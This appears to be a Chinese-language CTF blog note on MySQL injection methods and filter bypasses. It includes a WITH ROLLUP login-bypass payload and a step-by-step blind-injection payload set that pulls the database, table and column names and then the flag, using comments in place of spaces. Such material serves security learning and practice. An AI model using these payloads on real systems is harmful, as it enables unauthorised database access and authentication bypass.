Mysql注入的常用方法和绕过

  • 宽字节注入
  • 基于约束的注入
  • 报错注入
  • 时间盲注
  • bool盲注
  • order by的注入
  • INSERT、UPDATE、DELETE相关的注入
  • 堆叠注入
  • 二次注入
  • 文件读写
  • 常用绕过
  • 万能密码

参考:CTF SQL注入

这里再提一下过滤了select|from|where|join|sleep|and|s|union|,后的WITH ROLLUP绕过
WITH ROLLUP是对group by的结果进行进一步的汇总然后显示,在group by 列名 with rollup 中,倘若按列名分组后,列的属性值是不相同的,会生成一条分组条件的列为null的一条新的数据。而如果查询结果是唯一的,一会生成一条分组条件所在列为null的数据。

我们就是要通过with rollup使sql语句查询结果为null,然后不输入password使password为null就可以使password==password==row[‘password’]
payload = 'or/**/1=1/**/GROUP/**/BY/**/password/**/WITH/**/ROLLUP/**/LIMIT/**/1/**/OFFSET/**/1#WITH ROLLUP进行绕过

惯用思路(这里的例子是之前做的一道mysql盲注题,题目过滤了很多符号,如:单引号、空格和逗号):
1、首先通过database()函数得到库名,或者去information_schema.schemata表查询schema_name
"0/**/or/**/ascii(substring(database()/**/from/**/%d/**/for/**/1))=%d#" % (i, j)
2、然后去information_schema.tables表利用table_schema查询table_name
"0/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/%d/**/for/**/1))=%d#" % (i, j)
3、接着去information_schema.columns表利用table_name查询column_name
"0/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database())/**/from/**/%d/**/for/**/1))=%d#" % (i, j)
4、最后select column_name from table_name 得到flag
"0/**/or/**/ascii(substr((select/**/*/**/from/**/flag)/**/from/**/%d/**/for/**/1))=%d#" % (i, j)

原文地址:https://www.cnblogs.com/MisakaYuii-Z/p/13325162.html